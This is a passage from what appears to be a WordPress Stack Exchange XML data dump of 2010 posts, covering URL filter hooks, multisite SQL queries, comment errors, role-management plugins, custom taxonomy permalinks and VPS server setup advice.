I'm a bit lost.&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-12-01T01:17:29.390" Title="Display posts separated by Category in Author's page" Tags="&lt;categories&gt;&lt;query&gt;&lt;customization&gt;&lt;author&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="4647" PostTypeId="2" ParentId="4618" CreationDate="2010-11-29T17:23:02.280" Score="2" ViewCount="" Body="&lt;p&gt;You will need to intercept the links generated by WordPress and append the query var onto the relevant URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this quite easily with a filter on category URLs with something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_query_var( $link ) {&#xA;    $link = add_query_arg( 'sort', 'most_voted', $link );&#xA;    return $link;&#xA;}&#xA;add_filter('category_link','add_my_query_var');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also spotted this handy list of filters on &lt;a href=&quot;http://stackoverflow.com/questions/3472334/is-there-a-way-to-exclude-domain-from-link-generation-in-wordpress/3474234#3474234&quot;&gt;Mike's post on SO&lt;/a&gt;, it should cover all the possible URLs you'd want to tweak the query vars for...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('page_link','add_my_query_var');&#xA;add_filter('post_link','add_my_query_var');&#xA;add_filter('term_link','add_my_query_var');&#xA;add_filter('tag_link','add_my_query_var');&#xA;add_filter('category_link','add_my_query_var');&#xA;add_filter('post_type_link','add_my_query_var');&#xA;add_filter('attachment_link','add_my_query_var');&#xA;add_filter('year_link','add_my_query_var');&#xA;add_filter('month_link','add_my_query_var');&#xA;add_filter('day_link','add_my_query_var');&#xA;add_filter('search_link','add_my_query_var');&#xA;&#xA;add_filter('feed_link','add_my_query_var');&#xA;add_filter('post_comments_feed_link','add_my_query_var');&#xA;add_filter('author_feed_link','add_my_query_var');&#xA;add_filter('category_feed_link','add_my_query_var');&#xA;add_filter('taxonomy_feed_link','add_my_query_var');&#xA;add_filter('search_feed_link','add_my_query_var');&#xA;&#xA;add_filter('get_edit_tag_link','add_my_query_var');&#xA;add_filter('get_edit_post_link','add_my_query_var');&#xA;add_filter('get_delete_post_link','add_my_query_var');&#xA;add_filter('get_edit_comment_link','add_my_query_var');&#xA;add_filter('get_edit_bookmark_link','add_my_query_var');&#xA;&#xA;add_filter('index_rel_link','add_my_query_var');&#xA;add_filter('parent_post_rel_link','add_my_query_var');&#xA;add_filter('previous_post_rel_link','add_my_query_var');&#xA;add_filter('next_post_rel_link','add_my_query_var');&#xA;add_filter('start_post_rel_link','add_my_query_var');&#xA;add_filter('end_post_rel_link','add_my_query_var');&#xA;&#xA;add_filter('previous_post_link','add_my_query_var');&#xA;add_filter('next_post_link','add_my_query_var');&#xA;&#xA;add_filter('get_pagenum_link','add_my_query_var');&#xA;add_filter('get_comments_pagenum_link','add_my_query_var');&#xA;add_filter('shortcut_link','add_my_query_var');&#xA;add_filter('get_shortlink','add_my_query_var');&#xA;&#xA;add_filter('home_url','add_my_query_var');&#xA;add_filter('site_url','add_my_query_var');&#xA;add_filter('admin_url','add_my_query_var');&#xA;add_filter('includes_url','add_my_query_var');&#xA;add_filter('content_url','add_my_query_var');&#xA;add_filter('plugins_url','add_my_query_var');&#xA;&#xA;add_filter('network_site_url','add_my_query_var');&#xA;add_filter('network_home_url','add_my_query_var');&#xA;add_filter('network_admin_url','add_my_query_var');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-29T17:23:02.280" CommentCount="6" />
  <row Id="4648" PostTypeId="1" CreationDate="2010-11-29T17:29:41.233" Score="0" ViewCount="133" Body="&lt;p&gt;I recently found out that every time you upload a file using wordpress that wordpress is actually creating a new post for every file uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these posts are assigned to a custom post type which wordpress calls &quot;attachments&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a simple code solution to the functions file which would essential just tell wordpress to use the default &quot;post edit&quot; screen instead of it loading the default edit page it loads right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While an answer to the above question is the most important I would be interested if anyone might additionally know how to now have this new &quot;post edit&quot; screen automatically include all the file edit fields for the media library element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I am looking to change the edit screen is because by doing this I have the ability of customizing the look and fields for each library element.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T20:40:06.947" LastActivityDate="2011-02-05T20:40:06.947" Title="How can the edit media library element page be changed to use the default admin area edit post/page?" Tags="&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;&lt;customization&gt;&lt;media&gt;&lt;media-library&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="4649" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T17:35:30.250" Score="1" ViewCount="" Body="&lt;p&gt;For local dev I use &lt;a href=&quot;http://tortoisesvn.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;tortiose-svn&lt;/a&gt; , it is really easy, there is no learning curve, it takes about 10 minutes to learn and get up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your looking for online or multi-collaboration I would look into Git, especially if your using a Git freindly editor like vim. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.wiki.kernel.org/index.php/InterfacesFrontendsAndTools#EditorsandIDEintegration&quot; rel=&quot;nofollow&quot;&gt;Here is a huge list of interfaces and editors that work with Git, scoll down to 2.1&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-29T17:35:30.250" />
  <row Id="4650" PostTypeId="2" ParentId="3986" CreationDate="2010-11-29T17:58:05.277" Score="0" ViewCount="" Body="&lt;p&gt;While this probably won't solve your specific problem I suggest you look at the &quot;Edit Flow&quot; plugin on wordpress.org. It's a very slick plugin which may very well be of use to you.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-29T17:58:05.277" />
  <row Id="4651" PostTypeId="2" ParentId="4636" CreationDate="2010-11-29T18:16:38.170" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;is_user_logged_in()&lt;/a&gt; to check whether the user is logged in. It will return true or false depending on whether the user is logged in.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2010-11-29T18:16:38.170" CommentCount="2" />
  <row Id="4652" PostTypeId="2" ParentId="4397" CreationDate="2010-11-29T18:24:58.963" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at PHP Purchase which is a paid wordpress plugin. I have found that not only do they provide good support but the way they programed the plugin seems very flexible compared to every other solution I tested or looked into.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-29T18:24:58.963" CommunityOwnedDate="2011-01-29T18:48:44.127" />
  <row Id="4653" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T18:42:10.793" Score="0" ViewCount="" Body="&lt;p&gt;I use both Subversion (SVN) and Mercurial (Hg). The former for some of my older projects, and the latter for newer ones. I do understand the advantages of using a distributed system, but a lot of them don't apply to me. So I'm torn over whether to port my projects to Hg repos. There's no pain at the moment, so I'm leaving well enough alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Across all the various open source projects out there, a variety of VCSs are used, so some familiarity with the big ones may be useful. Otherwise, for your personal projects, just pick one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were starting out again, I would probably use Hg and avoid SVN.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-11-29T18:42:10.793" />
  <row Id="4654" PostTypeId="2" ParentId="1653" CreationDate="2010-11-29T18:55:40.927" Score="1" ViewCount="" Body="&lt;p&gt;At first, check the quereis of WOrdPress and the included images, scripts and stylesheets. You can check the queries with the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-queries/&quot; rel=&quot;nofollow&quot;&gt;Debug Queries&lt;/a&gt; and you become more information about your install and mistakes with the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-objects/&quot; rel=&quot;nofollow&quot;&gt;Debug Objects&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-29T18:55:40.927" />
  <row Id="4655" PostTypeId="2" ParentId="4642" CreationDate="2010-11-29T19:09:33.717" Score="0" ViewCount="" Body="&lt;p&gt;I'm tempted to aks what happened yesterday. :) New plugins installed? An upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the function is deprecated but still in use for plugins, and also quite prone to being unpredictable.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-29T19:09:33.717" CommentCount="4" />
  <row Id="4656" PostTypeId="2" ParentId="4642" CreationDate="2010-11-29T19:15:56.553" Score="4" ViewCount="" Body="&lt;p&gt;It appears that switch_to_blog might be too unpredictable to rely on for major site design. Here's my first attempt at a SQL-based solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_intro_post($blogid, $thumb_size='') {&#xA;&#xA;  global $wpdb, $post;&#xA;&#xA;  // Get the system defined table prefix&#xA;  $prefix = $wpdb-&amp;gt;prefix;&#xA;&#xA;  // Create a full table prefix by combining the system prefix with the blogid&#xA;  $tbl = $prefix . $blogid;&#xA;&#xA;  // First query selects posts with the 'Introduction' category&#xA;  $sql = &quot;SELECT `ID` FROM {$tbl}_posts as p&quot;;&#xA;  $sql .= &quot; JOIN {$tbl}_term_relationships tr ON p.ID = tr.object_id&quot;;&#xA;  $sql .= &quot; JOIN {$tbl}_terms t ON tr.term_taxonomy_id = t.term_id&quot;;&#xA;  $sql .= &quot; WHERE t.name = 'Introduction'&quot;;&#xA;&#xA;  // Only want/expect one result row, so use get_row()&#xA;  $intro = $wpdb-&amp;gt;get_row($sql);&#xA;  $postid = $intro-&amp;gt;ID;&#xA;&#xA;  // Second query joins the postmeta table to itself so that I can find&#xA;  // the row whose post_id matches the _thumbnail_id, found in meta_value, &#xA;  // for the post whose post_id matches the one I found in the previous query.&#xA;  $sql = &quot;SELECT p2.meta_key, p2.meta_value FROM  `{$tbl}_postmeta` p1&quot;;&#xA;  $sql .=   &quot; JOIN  `{$tbl}_postmeta` p2 ON p1.meta_value = p2.post_id&quot;;&#xA;  $sql .=   &quot; WHERE p1.meta_key =  '_thumbnail_id'&quot;;&#xA;  $sql .=   &quot; AND p1.post_id =  '{$postid}'&quot;;&#xA;  $sql .=   &quot; LIMIT 0 , 30&quot;;&#xA;&#xA;  // Expecting 2 result rows, so use get_results()&#xA;  $thumb_meta = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;  // Set $src to FALSE as the default&#xA;  $src = FALSE;&#xA;&#xA;  // Make sure the query returned results&#xA;  if(!empty($thumb_meta)) {&#xA;    foreach($thumb_meta as $row) {&#xA;        // We just want to find the row where meta_key is the attached file&#xA;        // and then set our $src var to that value, which is the image path&#xA;        if ($row-&amp;gt;meta_key == &quot;_wp_attached_file&quot;) $src = $row-&amp;gt;meta_value;&#xA;    }&#xA;  }&#xA;&#xA;  // If we found an image path above, I'll append the rest of the path to the front&#xA;  if($src) { $src = &quot;/wp-content/blogs.dir/{$blogid}/files/{$src}&quot;; }&#xA;&#xA;  // Handy core function to grab the blogname of another network's blog, by ID&#xA;  $blogname = get_blog_details( $blogid )-&amp;gt;blogname;&#xA;&#xA;  // Make an associative array holding the elements we need, &#xA;  // some pulled from the global $post context&#xA;  $p = array(&#xA;    'title' =&amp;gt; get_the_title(),&#xA;    'content' =&amp;gt; get_the_content(),&#xA;    'excerpt' =&amp;gt; get_the_excerpt(),&#xA;    'permalink' =&amp;gt; get_permalink(),&#xA;    'blogname' =&amp;gt; $blogname,&#xA;    'thumbnail' =&amp;gt; $src&#xA;  );&#xA;&#xA;  // Return an object with the post details mentioned above&#xA;  return (object) $p;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-11-29T19:15:56.553" />
  <row Id="4657" PostTypeId="2" ParentId="4646" CreationDate="2010-11-29T19:38:30.510" Score="1" ViewCount="" Body="&lt;p&gt;Solved in a much much much simpler way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one loop per each category I need to display, and the query is built using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat=1&amp;amp;author='.$curauth-&amp;gt;ID;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-11-29T19:38:30.510" CommentCount="1" />
  <row Id="4658" PostTypeId="1" AcceptedAnswerId="4684" CreationDate="2010-11-29T20:27:12.507" Score="1" ViewCount="106" Body="&lt;p&gt;I'm using the &lt;code&gt;comments_popup_link()&lt;/code&gt; function to show the number of comments for each post in a loop. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post();  ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'thumb_value', true) ) : ?&amp;gt;&#xA;        //something&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;       //something else&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &#xA;&#xA;        &amp;lt;?php the_content(__('Read more'));?&amp;gt;&#xA;        &amp;lt;div class=&quot;post-meta&quot;&amp;gt;&#xA;       &amp;lt;?php the_time('F j, Y'); ?&amp;gt;&#xA;       &amp;lt;p&amp;gt;Category: &amp;lt;?php the_category(', '); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;?php the_tags(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;?php comments_popup_link('Post Comment', '1 Comment', '% Comments'); ?&amp;gt;&amp;lt;/p&amp;gt;      &#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt; &#xA;&amp;lt;?php $wpdb-&amp;gt;show_errors(); &#xA;$wpdb-&amp;gt;print_error(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;There has been an error.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php $wpdb-&amp;gt;show_errors(); ?&amp;gt; &#xA;&amp;lt;?php $wpdb-&amp;gt;print_error(); ?&amp;gt; &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything displays fine but I get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress database error: [] SELECT *&#xA;  FROM wp_comments WHERE comment_post_ID&#xA;  = 216 AND comment_approved = '1' ORDER BY comment_date_gmt DESC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm just curios why I get that..&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-11-30T11:43:08.633" Title="WP database error for comments_popup_link()" Tags="&lt;php&gt;&lt;database&gt;&lt;mysql&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="4659" PostTypeId="2" ParentId="4633" CreationDate="2010-11-29T20:49:58.203" Score="0" ViewCount="" Body="&lt;p&gt;I use RTC ( &lt;a href=&quot;http://jazz.net&quot; rel=&quot;nofollow&quot;&gt;http://jazz.net&lt;/a&gt; ) and yes 3.0 is out since this week! (Free for up to 10 users)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;read: &lt;a href=&quot;http://jazz.net/forums/viewtopic.php?t=4383&quot; rel=&quot;nofollow&quot;&gt;http://jazz.net/forums/viewtopic.php?t=4383&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-29T20:49:58.203" />
  <row Id="4660" PostTypeId="2" ParentId="4642" CreationDate="2010-11-29T22:15:24.170" Score="2" ViewCount="" Body="&lt;p&gt;There are multiple switch_to_blog() issues related to caching:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14992&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14992&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15361&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15361&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15548&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15548&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wait until 3.2 for full reliability... (If then...)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-29T22:15:24.170" />
  <row Id="4661" PostTypeId="1" AcceptedAnswerId="4669" CreationDate="2010-11-29T22:25:50.937" Score="1" ViewCount="288" Body="&lt;p&gt;After reviewing plugins that deal with user roles and capabilities I concluded that I might be better off just hardcoding my settings into my functions.php file. This actually worked out well for me in end effect but I kept running into an issues while I was finalizing the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am sure many of you know (and I ended up finding out the hard way) any new capabilities added through code to an existing role which has been assigned to a user won't work. Rather it seems the role and associating capabilities are written into the database the first time the new role is assigned to a user. If I am incorrect with this assumption please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case... I have been getting frustrated with dealing with things manually and although I don't like the idea of plugins, this specific situations has be believing a GUI might actually work very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a plugin or some non bloated code which essentially is just capable of reading the roles and their associating capabilities from the default wordpress database and outputs these values into a checkbox list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically the ability to just select a role which in turn displays every default capability from wordpress as well as any custom capability which is assigned to any user... Then just a checkbox next to every capability assigned to that role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin could update the values by checking/unchecking applicable capabilities and one should have the ability to just enter a new capability by pasting the capabilities name into a text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My logic here is that if this existed then your NOT adding ANY additional custom code to the database or anything that requires more resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key benefit here is that you finally have a simple way to deal with updating roles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am not sure about is if this same logic would apply to being able to manually change the capabilities for individual users... If anyone also knows the answer to this question pleaseclet me know.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-30T07:58:04.563" Title="Roles &amp; capabilities GUI that does not create separate table" Tags="&lt;functions&gt;&lt;capabilities&gt;&lt;roles&gt;&lt;custom-roles&gt;&lt;user-roles&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4662" PostTypeId="2" ParentId="4643" CreationDate="2010-11-29T22:49:41.687" Score="1" ViewCount="" Body="&lt;p&gt;I have utilized this plugin and I feel it works very well.&lt;/p&gt;&#xA;" OwnerUserId="1084" LastActivityDate="2010-11-29T22:49:41.687" CommentCount="1" />
  <row Id="4663" PostTypeId="1" CreationDate="2010-11-29T23:44:50.607" Score="1" ViewCount="524" Body="&lt;p&gt;I've created a custom taxonomy &quot;foo&quot; with rewrite slug &quot;foo&quot; and query_var &quot;foo&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example, I also have terms &quot;bar&quot; and &quot;baz&quot; in the &quot;foo&quot; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, permalinks like &lt;code&gt;/foo/bar&lt;/code&gt; and &lt;code&gt;/foo/baz&lt;/code&gt; work fine, using my &lt;code&gt;taxonomy-foo.php&lt;/code&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is be able to hit &lt;code&gt;/foo&lt;/code&gt; and retrieve all posts with a link to any &quot;foo&quot; taxonomy. Currently, this URL shows a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? If I can somehow hook into the rewrite code and set a default term value (&lt;code&gt;'all'&lt;/code&gt; for example) if missing, that might be a way to move forward but I'm not sure if this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd preferably like to use the &lt;code&gt;taxonomy-foo.php&lt;/code&gt; template file for the &quot;catch all&quot;, dealing with the logic of showing posts from one or all terms in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I've figured how to catch a request for &lt;code&gt;/foo&lt;/code&gt; and set some defaults using &lt;code&gt;add_filter('request', ...)&lt;/code&gt; though I had to use an existing term as using anything else generates a 404. Is there any way to avoid this limitation?&lt;/p&gt;&#xA;" OwnerUserId="1729" LastEditorUserId="1729" LastEditorDisplayName="" LastEditDate="2010-11-30T01:45:21.690" LastActivityDate="2010-11-30T10:51:33.370" Title="Custom taxonomy listing page when no term set (all terms)" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="4664" PostTypeId="1" AcceptedAnswerId="4672" CreationDate="2010-11-30T03:42:16.210" Score="3" ViewCount="411" Body="&lt;p&gt;I hired a sysadmin to set up a VPS server for me and, unfortunately, it looks like things were not set up correctly. When trying to install and update plugins, I run into permissions errors all the time.  WP Super Cache is the main issue as it causing my readers to run into 502 errors.  Currently, my site does not load pagination (no Page 2, Page 3, etc..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;12/1 Update:&lt;/strong&gt; The apache server has restarted itself multiple times today and in the past 3 hours since my request to the host provider, all I've got so far is that they are monitoring it. And it has restarted since they began monitoring too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sysadmin that set up the server mentioned that in order for it to work properly under DSO mode, wp-admin, wp-content and wp-plugins folders would need to be changed to 777 permissions. The only problem is that I still couldn't get a 3.0.2 upgrade to work under those settings today (504 timeout nginx error this time) so I'm still concerned about running it that way for many reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been told that if I run under PHP mode though (think that's right?), that I will hog up more RAM with queries, etc and I'm already at 60% usage in DSO mode.  This doesn't make any sense to me because my blog ran a little slow but still ok without any downtime on shared hosting.  I'm now on a very reputable VPS w/ 512MB ram and my site only gets 10-12k pageviews a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The host said that they have tweaked the config to optimize ram so I don't think anything is set incorrectly. Still trying to figure out what is going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developing.....&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2010-12-01T22:03:27.697" LastActivityDate="2010-12-01T22:03:27.697" Title="What are best practices for configuring a server for Wordpress sites?" Tags="&lt;configuration&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" />
  <row Id="4665" PostTypeId="1" CreationDate="2010-11-30T03:42:34.553" Score="1" ViewCount="230" Body="&lt;p&gt;I am looking at /server-status on a few of my web servers, and I'm seeing wp-comments-post.php continue to run forever (until the apache logs are rotated every night):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Srv   PID   Acc       M   CPU    SS     Req    Conn   Child    Slot    Client        VHost               Request&#xA;18-1  8922  1/464/464 W   35.22  33059  0      0.0    0.08     0.08    94.127.76.21  blog.example.com    POST  /blogname/wp-comments-post.php HTTP/1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this might be happening? Could it be related to not having an enterprise akismet account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other file I see causing the same issue is wp-polls/wp-polls.php, but I don't know if it's related&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T20:33:53.957" LastActivityDate="2011-08-11T13:22:23.307" Title="wp-comments-post.php causing long running apache processes" Tags="&lt;comments&gt;&lt;server&gt;&lt;server-load&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="4666" PostTypeId="2" ParentId="4360" CreationDate="2010-11-30T04:54:51.887" Score="1" ViewCount="" Body="&lt;p&gt;There were mod_security conflicts, which my provider refused to fix for me. Moving to a VPS solved my issue!&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-11-30T04:54:51.887" />
  <row Id="4667" PostTypeId="2" ParentId="2401" CreationDate="2010-11-30T07:03:21.403" Score="0" ViewCount="" Body="&lt;p&gt;Check to make sure your nickname has no spaces. To be very sure of this you could dig into yout WP database and look for &lt;code&gt;user_nicename&lt;/code&gt; and remove any spaces from those values. Just a thought.&lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2010-11-30T07:03:21.403" />
  <row Id="4668" PostTypeId="1" AcceptedAnswerId="4681" CreationDate="2010-11-30T07:46:58.327" Score="0" ViewCount="191" Body="&lt;p&gt;i need some help&#xA;how can i display custom taxonomies on selected pages?&#xA;i mean i have 3 custom taxonomies location,duration &amp;amp; courses&#xA;i have created three pages where i want to display the terms of these custom taxonomies,&#xA;i have displayed it on my posts by using function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode(&quot;[terms]&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but same thing i want to make display on my pages also,&#xA;how can i do that??????&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-30T11:00:09.917" LastActivityDate="2010-11-30T11:09:24.360" Title="custom taxonomies on pages" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="4669" PostTypeId="2" ParentId="4661" CreationDate="2010-11-30T07:48:56.403" Score="4" ViewCount="" Body="&lt;p&gt;The plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; is your solution, clean code for read, change and create roles and capabilities; easy and fast. No custom tables and normaly WordPress standard.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-11-30T07:48:56.403" CommentCount="2" />
  <row Id="4670" PostTypeId="2" ParentId="4661" CreationDate="2010-11-30T07:58:04.563" Score="0" ViewCount="" Body="&lt;p&gt;Would have said the same as Frank.&#xA;It's written by the core developer Justin Tadlock, so its like a core function ;-)&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-11-30T07:58:04.563" />
  <row Id="4671" PostTypeId="1" AcceptedAnswerId="4682" CreationDate="2010-11-30T09:32:59.793" Score="2" ViewCount="243" Body="&lt;p&gt;I am writing a plugin that depends on modal dialogs for screen space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am using jQuery to create the dialogs, but I want a way that integrates better into the admin theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously WP has to have some sort of native dialog system (it's used for uploads).   How do I access it?&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2010-11-30T11:31:44.880" Title="Creating a modal dialog without jQuery" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="4672" PostTypeId="2" ParentId="4664" CreationDate="2010-11-30T09:42:33.110" Score="3" ViewCount="" Body="&lt;p&gt;It's a very loaded question, I'll try my best here, keep in mind it's 4am, so I'm just giving you highlights, not detailed explanations.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux I'm assuming you're using a recent version of Ubuntu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the default SSH port from 22, to something else (/etc/ssh/sshd_config).&lt;/li&gt;&#xA;&lt;li&gt;Either enable AllowGroups or AllowUser in the sshd_config, &lt;/li&gt;&#xA;&lt;li&gt;Install fail2ban (apt-get install fail2ban)&lt;/li&gt;&#xA;&lt;li&gt;Install apache2, php5, and mysql-server &lt;/li&gt;&#xA;&lt;li&gt;Edit /etc/apache2/conf.d/security.conf and make appropriate changes for a production server.&lt;/li&gt;&#xA;&lt;li&gt;Disable the slow query log in MySQL (you don't want this on in production, especially on a VPS)&lt;/li&gt;&#xA;&lt;li&gt;Configure your system timezone (dpkg-reconfigure tzdata)&lt;/li&gt;&#xA;&lt;li&gt;Make sure your php.ini reflects the same time zone&lt;/li&gt;&#xA;&lt;li&gt;Add a new virtualhost in /etc/apache2/sites-available/ (leave the default one alone)&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable this virtual host by: a2ensite nameofnewvhostfile&lt;/li&gt;&#xA;&lt;li&gt;Enable mod-rewrite (a2enmod 